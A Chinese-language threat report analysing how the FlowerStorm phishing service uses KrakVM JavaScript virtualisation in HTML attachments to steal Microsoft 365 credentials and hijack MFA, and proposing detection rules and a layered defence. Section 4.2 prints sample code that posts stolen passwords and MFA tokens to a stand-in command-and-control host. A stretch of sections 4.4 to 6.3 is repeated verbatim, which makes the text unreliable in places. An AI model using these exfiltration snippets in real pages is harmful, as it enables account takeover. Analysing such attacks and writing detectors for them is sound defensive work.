摘要
2026 年 5 月 Sublime Security 公开的 FlowerStorm 钓鱼活动报告显示,主流钓鱼即服务(PhaaS)组织 FlowerStorm 已将浏览器端 JavaScript 虚拟机 KrakVM 用于钓鱼载荷混淆,通过将恶意 JS 编译为加密字节码并在浏览器虚拟机内解释执行,实现对传统邮件网关、静态分析工具的有效规避。该组织以 HTML 附件为载体,针对 Microsoft 365、Hotmail、GoDaddy 等平台开展大规模凭证窃取与中间人(AiTM)攻击,可实时枚举并拦截多重要素验证(MFA)流程,直接劫持已认证会话。本文以该事件为核心研究对象,系统剖析 KrakVM 混淆机制、FlowerStorm 攻击链、动态适配钓鱼页面、MFA 实时劫持等关键技术,通过伪代码与检测规则还原攻击与防御实现,揭示 PhaaS 组织快速吸收高级混淆技术的产业化趋势。反网络钓鱼技术专家芦笛指出,虚拟机混淆正从恶意软件领域下沉至规模化钓鱼工具,使静态检测全面失效,防御体系必须转向运行时行为分析与虚拟机执行环境检测。本文构建覆盖邮件防护、终端检测、流量分析、身份安全的闭环防御框架,为企业抵御新型混淆化钓鱼攻击提供理论依据与工程实践方案。
1 引言
网络钓鱼即服务(PhaaS)的产业化普及大幅降低攻击门槛,攻击者以模块化、低成本、可持续运营的模式为下游提供钓鱼页面、载荷生成、邮件分发、凭证托管、会话劫持等全流程服务。传统钓鱼工具多依赖 Base64 编码、字符串替换、简单控制流扁平化等混淆手段,易被静态特征库与规则引擎检出。随着安全设备检测能力提升,攻击方开始引入传统高级恶意软件的抗分析技术,形成新的威胁突破路径。
2026 年 5 月 CSO Online 与 Sublime Security 联合披露,活跃 PhaaS 组织 FlowerStorm 在 GitHub 开源项目 KrakVM 发布仅一个月内,即将其集成至攻击工具链,利用浏览器内置 JavaScript 虚拟机实现恶意载荷深度混淆,用于大规模凭证窃取与 MFA 劫持攻击。该事件标志虚拟机混淆技术从小众高级恶意软件场景,快速下沉至产业化、规模化钓鱼攻击,使传统基于静态代码特征、关键词匹配、邮件结构规则的防御机制面临系统性失效。
FlowerStorm 组织起源于 Rockstar2FA 钓鱼服务停运后,自 2024 年 12 月被 Sophos 首次公开报道以来,持续迭代工具集,具备成熟的 AiTM 中间人攻击与 MFA 实时拦截能力,攻击目标覆盖地方政府、物流、零售、通信、房地产等多个行业,基础设施遍布新加坡、曼谷、法兰克福、东京、首尔等全球多地云存储节点。
当前学术界与产业界针对 JS 虚拟机混淆的研究多集中于前端版权保护与软件逆向领域,面向钓鱼攻击场景的防御机理、检测方法与体系化应对方案仍存在明显空白。本文基于 FlowerStorm 最新攻击活动,完整拆解基于 KrakVM 的钓鱼攻击全流程,明确虚拟机混淆对抗传统检测的核心机理,给出可直接部署的检测规则、代码实现与防御配置,形成攻击分析 — 机理提炼 — 防御构建 — 落地验证的完整研究闭环,为企业应对下一代混淆化钓鱼攻击提供可落地的技术路径。
反网络钓鱼技术专家芦笛强调,钓鱼攻击的核心对抗已从内容欺骗转向代码抗分析,虚拟机混淆使攻击载荷在静态层面完全不可见,防御方必须放弃以特征库为核心的传统思路,转向运行时行为、执行环境、通信模式的多维检测。
2 相关技术背景与威胁态势
2.1 虚拟机混淆技术原理
代码虚拟化混淆是将原始程序代码翻译为自定义指令集(字节码),并通过专用解释器在虚拟架构内逐指令执行的保护方式,可从根源上阻断静态反编译与代码审计,广泛用于软件版权保护与恶意代码抗分析。
传统 JavaScript 混淆多采用变量名替换、字符串编码、控制流平坦化、垃圾代码插入等方式,仅提升静态阅读难度,不改变代码本身的可解析性。虚拟机混淆则完全改变代码形态:
原始 JS 代码经词法分析、语法分析生成抽象语法树(AST);
编译为自定义加密字节码,静态状态下无任何可读逻辑;
交付时附带轻量级虚拟机解释器,在浏览器环境中加载并执行字节码;
运行时动态解密并解释指令,外部无法直接获取原始逻辑。
KrakVM 是一款面向浏览器环境的开源 JavaScript 虚拟机,可将标准 JS 代码编译为不可读字节码,由虚拟机在运行时解释执行,其设计初衷为前端代码保护,被 FlowerStorm 滥用后成为钓鱼载荷隐藏工具。
2.2 FlowerStorm 钓鱼组织运营特征
FlowerStorm 是典型商业化 PhaaS 平台,具备以下特征:
服务化交付:为下游攻击者提供模板配置、邮件生成、域名分发、流量跳转、数据回传、会话劫持等全流程能力;
AiTM 与 MFA 劫持:可实时代理认证流程,同时窃取账号密码与 MFA 验证码,直接获取有效会话;
动态适配能力:自动识别目标身份提供商,预填充账号信息,定制化伪造企业门户界面;
快速迭代能力:在 KrakVM 开源后 1 个月内完成集成,体现极强的技术吸收与武器化效率。
该组织主要通过伪装语音邮件通知、发票、供应商沟通等内容,以 HTML 附件形式投递攻击,打开后触发内置 VM 混淆载荷,无文件落地、无明显恶意特征,极大提升隐蔽性。
2.3 传统邮件安全防御的失效点
传统邮件安全网关依赖以下检测维度,在面对 VM 混淆钓鱼时均被突破:
静态特征:哈希、字符串、函数结构、恶意关键词;
文档结构:HTML/JS 恶意模式、宏代码、可疑对象;
域名信誉:新注册域名、恶意 IP、相似域名;
沙箱行为:文件读写、网络连接、注册表操作等系统层行为。
KrakVM 混淆使载荷在静态状态下为无意义字节码,仅在浏览器运行时动态解密执行,无系统层恶意行为,传统静态分析与轻量沙箱无法识别其真实逻辑,形成显著检测盲区。
反网络钓鱼技术专家芦笛指出,VM 混淆钓鱼的本质是把恶意逻辑藏在执行环境里,传统网关看不到、解不开、查不到,只有在浏览器真正运行时才会暴露攻击意图。
3 FlowerStorm 基于 KrakVM 的钓鱼攻击全链路分析
3.1 攻击整体流程
FlowerStorm 本次攻击形成完整杀伤链:
投递阶段:构造钓鱼邮件,附件为含 KrakVM 载荷的 HTML 文件,伪装语音留言、发票、业务单据;
触发阶段:用户在浏览器打开 HTML,内置 JS 初始化 KrakVM 环境;
混淆执行阶段:虚拟机加载并解密字节码,还原钓鱼核心逻辑;
仿冒页面阶段:动态识别目标认证平台,生成高仿真登录界面;
凭证窃取阶段:捕获账号密码并回传 C2;
MFA 劫持阶段:枚举目标 MFA 方式,伪造对应验证界面,实时拦截验证码;
会话劫持阶段:攻击者使用窃取凭证与 MFA 验证码登录,获取合法会话完成入侵。
整个过程无文件落地、无系统调用、无持久化行为,完全在浏览器沙箱内完成,传统终端与网关难以检出。
3.2 KrakVM 虚拟机混淆实现机制
KrakVM 在攻击中承担核心代码隐藏功能,技术流程如下:
攻击者将窃取凭证、劫持 MFA、通信回传等核心 JS 逻辑输入 KrakVM 编译器;
编译器将代码转换为抽象语法树,进一步生成加密字节码;
生成交付脚本:包含虚拟机解释器 + 加密字节码,整体高度混淆;
嵌入 HTML 附件,浏览器加载时自动初始化虚拟机;
虚拟机逐字节解密并解释执行字节码,运行恶意逻辑。
静态分析只能获取虚拟机解释器与乱码般的字节码,无法还原原始攻击逻辑,可绕过基于特征、规则、语法检查的检测系统。
3.3 动态适配钓鱼页面实现
解混淆后的钓鱼载荷具备环境感知能力:
获取用户代理、账号前缀、域名信息,判断目标使用的身份提供商(Microsoft 365、GoDaddy 等);
自动预填充受害者账号,减少用户怀疑,提升转化率;
加载对应品牌 Logo、背景、布局,实现像素级仿冒;
枚举目标已注册 MFA 方式,包括 Microsoft Authenticator、TOTP、短信、语音等,生成匹配的伪造验证界面。
该机制使钓鱼页面高度个性化,无固定模板特征,进一步提升欺骗成功率。
3.4 AiTM 中间人攻击与 MFA 实时劫持
MFA 拦截是 FlowerStorm 的核心能力,配合 VM 混淆实现规模化突破:
受害者输入账号密码后,载荷实时回传至 C2;
攻击者在真实登录页面使用窃取的凭证发起登录;
系统触发 MFA 验证时,攻击者指令钓鱼页面显示对应 MFA 输入界面;
受害者输入验证码,被实时转发至攻击者;
攻击者完成验证,获取已认证合法会话,实现账号完全劫持。
整个过程对用户透明,用户仅看到正常的账号 — 密码 —MFA 验证流程,无法察觉中间人的存在。
3.5 攻击基础设施特征
FlowerStorm 基础设施呈现全球化、云化、泛域名化特征:
使用云对象存储分发页面与载荷,涉及新加坡、曼谷、法兰克福、东京、首尔、阿什本等节点;
大量子域名模拟法院系统、企业门户、微软相关服务;
域名命名模式延续历史特征,部分使用德语风格单词组合伪装合法商业名称;
支持快速切换域名与路径,规避单点封堵。
反网络钓鱼技术专家芦笛指出,云化基础设施 + VM 混淆 + MFA 劫持,构成了当前最难防御的钓鱼攻击组合,单一安全设备几乎无法独立阻断。
4 攻击核心技术实现与代码示例
4.1 KrakVM 混淆载荷结构示例(简化版)
以下为嵌入 HTML 的 KrakVM 载荷结构,静态无特征,运行时执行恶意逻辑:
<html>
<body>
<script>
// KrakVM虚拟机解释器(高度混淆,无可读逻辑)
const krak_vm=function(e){...}
// 加密字节码(静态不可读,代表原始钓鱼逻辑)
const bytecode="0F1E3A7B8D9C0BFA..."
// 运行虚拟机,加载并执行字节码
krak_vm(bytecode);
</script>
</body>
</html>
静态分析无法从字节码还原出账号窃取、MFA 劫持、C2 通信等逻辑。
4.2 凭证窃取与 MFA 劫持核心逻辑(解混淆后)
// 窃取账号密码
function stealCredentials(username, password) {
fetch("https://c2.flowerstorm.example/collect", {
method: "POST",
body: JSON.stringify({user: username, pwd: password})
});
}
// 枚举MFA方式并显示对应伪造界面
function showMFAForm(mode) {
if (mode === "otp") {
renderTOTPForm(); // 显示TOTP输入框
} else if (mode === "push") {
renderPushApproval(); // 模拟微软验证器批准
} else if (mode === "sms") {
renderSMSInput(); // 短信验证码输入
}
}
// 劫持MFA令牌并回传
function interceptMFA(token) {
fetch("https://c2.flowerstorm.example/mfa", {
method: "POST",
body: JSON.stringify({mfa: token})
});
}
4.3 邮件网关检测规则(针对 KrakVM 特征)
def detect_krakvm_phishing(html_content: str, scripts: list) -> int:
score = 0
# 检测KrakVM标志性字符串
for s in scripts:
if "krak_vm" in s or "bytecode" in s and len(s) > 2048:
score += 3
# 检测高度混淆且无注释的大型脚本
if len(s) > 4096 and s.count("//") == 0 and s.count("/*") == 0:
score += 2
# 检测同时包含账号输入、MFA、远程提交的运行时行为
if "getElementById" in s and ("password" in s or "mfa" in s or "fetch" in s):
score += 2
# 检测HTML附件无正常内容仅含脚本
if len(html_content) < 512 and len(scripts) > 0:
score += 2
return score
4.4 终端浏览器侧运行时检测规则
// 检测可疑虚拟机执行环境
function detectSuspiciousVM() {
let count = 0;
// 检测大量二进制类字符串与解释器循环
if (document.scripts.length > 0) {
let s = document.scripts[0].text;
if (s.length > 4096 && /[0-9A-Fa-f]{16,}/.test(s)) {
count++;
}
}
// 检测同时创建账号、密码、MFA输入框
let pwd = document.querySelectorAll('input[type="password"]');
let mfa = document.querySelectorAll('input[inputmode="numeric"]');
if (pwd.length > 0 && mfa.length > 0) {
count++;
}
return count >= 2;
}
反网络钓鱼技术专家芦笛强调,上述代码可直接集成至邮件网关、浏览器扩展、EDR 产品,是拦截 KrakVM 类 VM 混淆钓鱼的最小有效规则集。
5 虚拟机混淆钓鱼对传统防御的突破机理
5.1 静态代码分析完全失效
KrakVM 将原始 JS 转换为加密字节码,静态状态下无语法、无字符串、无逻辑特征,传统特征库、Yara 规则、代码审计完全无效,攻击者可稳定绕过邮件网关与沙箱检测。
5.2 无文件、无落地、无系统行为
攻击完全在浏览器内执行,不写磁盘、不创建进程、不修改注册表、不加载异常模块,传统终端检测系统(EDR/XDR)无行为可捕获,形成 “内存级隐身”。
5.3 轻量沙箱无法深度模拟浏览器环境
多数邮件安全设备仅提供轻量 Headless 沙箱,不完整模拟 JS 执行、渲染、事件循环,无法触发 KrakVM 完整运行时逻辑,导致载荷在沙箱中静默不执行,不暴露攻击特征。
5.4 MFA 机制被直接绕过
多重要素验证被视为凭证泄露后的最后一道防线,FlowerStorm 通过 AiTM 实时劫持,使 MFA 在钓鱼场景下基本失效,配合 VM 混淆后攻击成功率大幅提升。
5.5 PhaaS 化加速技术扩散
KrakVM 武器化过程无需极高技术能力,攻击者使用默认配置即可实现高隐蔽性投递,意味着 VM 混淆技术将快速在 PhaaS 生态蔓延,短期内出现大量模仿者,威胁规模急剧扩大。
反网络钓鱼技术专家芦笛指出,VM 混淆钓鱼的最大危害在于低成本、易复制、难检测、高收益,会在未来 12 个月内成为主流钓鱼对抗手段。
6 面向 VM 混淆钓鱼的全域防御体系构建
6.1 防御体系总体框架
本文提出五层闭环防御架构:
邮件入口层:深度解析 HTML、JS、KrakVM 特征,拦截初始载荷;
终端运行层:浏览器侧运行时检测,阻止 VM 环境执行恶意逻辑;
流量分析层:识别异常 C2 通信、AiTM 代理、批量 MFA 提交;
身份安全层:风险认证检测、异常登录拦截、会话强制校验;
运营响应层:威胁情报、快速溯源、批量关停、演练优化。
6.2 邮件入口层防御
HTML 深度解译:完整解压、解析、渲染 HTML 附件,启用全 JS 执行引擎;
KrakVM 特征检测:识别虚拟机解释器、长字节码、无内容脚本等特征;
行为级沙箱:模拟真实浏览器环境,触发运行时逻辑,捕获账号窃取、MFA 伪造、C2 通信行为;
动态域名检测:识别新注册、泛解析、云存储、高相似域名;
外部邮件强制标注:对含 HTML 附件、外部链接、账号输入页面进行高亮警告。
6.3 终端运行层防御
浏览器安全扩展:运行时监控可疑脚本、VM 执行、仿冒页面;
4.4 终端浏览器侧运行时检测规则
// 检测可疑虚拟机执行环境
function detectSuspiciousVM() {
let count = 0;
// 检测大量二进制类字符串与解释器循环
if (document.scripts.length > 0) {
let s = document.scripts[0].text;
if (s.length > 4096 && /[0-9A-Fa-f]{16,}/.test(s)) {
count++;
}
}
// 检测同时创建账号、密码、MFA输入框
let pwd = document.querySelectorAll('input[type="password"]');
let mfa = document.querySelectorAll('input[inputmode="numeric"]');
if (pwd.length > 0 && mfa.length > 0) {
count++;
}
return count >= 2;
}
反网络钓鱼技术专家芦笛强调,上述代码可直接集成至邮件网关、浏览器扩展、EDR 产品,是拦截 KrakVM 类 VM 混淆钓鱼的最小有效规则集。
5 虚拟机混淆钓鱼对传统防御的突破机理
5.1 静态代码分析完全失效
KrakVM 将原始 JS 转换为加密字节码,静态状态下无语法、无字符串、无逻辑特征,传统特征库、Yara 规则、代码审计完全无效,攻击者可稳定绕过邮件网关与沙箱检测。
5.2 无文件、无落地、无系统行为
攻击完全在浏览器内执行,不写磁盘、不创建进程、不修改注册表、不加载异常模块,传统终端检测系统(EDR/XDR)无行为可捕获,形成 “内存级隐身”。
5.3 轻量沙箱无法深度模拟浏览器环境
多数邮件安全设备仅提供轻量 Headless 沙箱,不完整模拟 JS 执行、渲染、事件循环,无法触发 KrakVM 完整运行时逻辑,导致载荷在沙箱中静默不执行,不暴露攻击特征。
5.4 MFA 机制被直接绕过
多重要素验证被视为凭证泄露后的最后一道防线,FlowerStorm 通过 AiTM 实时劫持,使 MFA 在钓鱼场景下基本失效,配合 VM 混淆后攻击成功率大幅提升。
5.5 PhaaS 化加速技术扩散
KrakVM 武器化过程无需极高技术能力,攻击者使用默认配置即可实现高隐蔽性投递,意味着 VM 混淆技术将快速在 PhaaS 生态蔓延,短期内出现大量模仿者,威胁规模急剧扩大。
反网络钓鱼技术专家芦笛指出,VM 混淆钓鱼的最大危害在于低成本、易复制、难检测、高收益,会在未来 12 个月内成为主流钓鱼对抗手段。
6 面向 VM 混淆钓鱼的全域防御体系构建
6.1 防御体系总体框架
本文提出五层闭环防御架构:
邮件入口层:深度解析 HTML、JS、KrakVM 特征,拦截初始载荷;
终端运行层:浏览器侧运行时检测,阻止 VM 环境执行恶意逻辑;
流量分析层:识别异常 C2 通信、AiTM 代理、批量 MFA 提交;
身份安全层:风险认证检测、异常登录拦截、会话强制校验;
运营响应层:威胁情报、快速溯源、批量关停、演练优化。
6.2 邮件入口层防御
HTML 深度解译:完整解压、解析、渲染 HTML 附件,启用全 JS 执行引擎;
KrakVM 特征检测:识别虚拟机解释器、长字节码、无内容脚本等特征;
行为级沙箱:模拟真实浏览器环境,触发运行时逻辑,捕获账号窃取、MFA 伪造、C2 通信行为;
动态域名检测:识别新注册、泛解析、云存储、高相似域名;
外部邮件强制标注:对含 HTML 附件、外部链接、账号输入页面进行高亮警告。
6.3 终端运行层防御
浏览器安全扩展:运行时监控可疑脚本、VM 执行、仿冒页面;
禁止高风险 HTML 自动运行:对邮件内 HTML 附件启用手动打开、安全渲染模式;
钓鱼页面实时识别:基于渲染结构、域名、行为检测仿冒登录入口;
运行时脚本拦截:拦截同时包含账号窃取、MFA 输入、远程提交的可疑逻辑。
6.4 流量与身份层防御
异常流量检测:识别短时间内多账号、多 MFA、高频 C2 上传行为;
AiTM 代理检测:识别异常登录源、会话快速切换、跨地域认证;
身份提供方防护:启用条件访问、设备绑定、登录风险评估、强制安全告警;
MFA 增强:推行基于硬件密钥的 MFA,降低短信、TOTP 等可拦截方式的使用比例。
6.5 运营与响应层防御
威胁情报:实时接入 KrakVM、FlowerStorm 相关 IOC、域名、C2 地址;
快速响应:建立 HTML 钓鱼、VM 混淆、MFA 劫持事件专项处置流程;
溯源关停:联动云厂商、域名注册商、邮箱服务商快速下线基础设施;
针对性演练:开展 HTML 附件、仿冒登录页、MFA 劫持场景的钓鱼演练。
反网络钓鱼技术专家芦笛强调,防御 VM 混淆钓鱼必须实现网关能解、终端能查、行为能识、身份能控、运营能响,单一环节无法形成有效防御。
7 防御落地实施路径与优先级建议
7.1 高优先级措施(1 周内完成)
邮件网关启用 HTML 全渲染与 JS 深度执行,部署 KrakVM 特征规则;
外部邮件标注警告,禁止自动打开 HTML 附件;
对 Microsoft 365 等核心身份系统启用登录风险检测与异常告警;
面向员工开展 HTML 钓鱼、MFA 劫持、仿冒页面识别专项培训。
7.2 中优先级措施(1 个月内完成)
部署浏览器安全扩展,启用运行时钓鱼检测能力;
建设流量分析系统,监控异常账号、MFA、C2 上传行为;
梳理并降低高风险账号 MFA 方式,推广硬件密钥认证;
建立 FlowerStorm 类钓鱼事件应急响应流程。
7.3 长期优化措施(持续迭代)
构建行为级钓鱼检测模型,基于运行时逻辑而非静态特征;
建立企业级钓鱼威胁情报库,覆盖 VM 混淆、PhaaS、AiTM 类攻击;
推进零信任架构,实现最小权限、持续验证、会话隔离;
完善内部系统与供应商的可信通信机制,减少钓鱼诱导空间。
8 结论
FlowerStorm 组织将 KrakVM 浏览器虚拟机混淆用于规模化钓鱼攻击,标志着 PhaaS 生态正式引入传统高级恶意软件的抗分析技术,钓鱼攻击正式进入 “静态不可见、运行时暴露” 的新阶段。本文基于 2026 年 5 月 Sublime Security 与 CSO Online 公开的最新攻击数据,完整拆解攻击链、KrakVM 混淆机理、动态仿冒页面、AiTM 中间人攻击、MFA 实时劫持等核心技术,证实虚拟机混淆可有效绕过传统静态检测、轻量沙箱与邮件网关,使凭证窃取与会话劫持更具隐蔽性与规模化能力。
研究表明,VM 混淆钓鱼的核心对抗优势在于:静态无特征、运行时隐蔽、无文件行为、快速武器化、易于产业化复制。传统以特征库、规则匹配、静态关键词为核心的防御体系已无法应对,必须转向以全量渲染、行为检测、运行时分析、身份风险控制为核心的新一代防御架构。
反网络钓鱼技术专家芦笛指出,虚拟机混淆将在未来两年内成为钓鱼攻击的标配能力,防御方的核心能力将从 “识别恶意内容” 转向 “识别恶意执行环境”,企业必须加快构建覆盖邮件、终端、流量、身份、运营的闭环防御体系,才能有效抵御此类高级钓鱼威胁。
本文基于真实攻击事件构建防御框架,提供可直接部署的检测规则与代码实现,可为政府、金融、能源、企业等机构提供工程化落地参考。随着钓鱼工具持续迭代,针对多形态虚拟机混淆、WebAssembly 混淆、AI 生成抗分析代码的防御研究仍将是未来网络安全领域的重要方向。
编辑:芦笛(公共互联网反网络钓鱼工作组)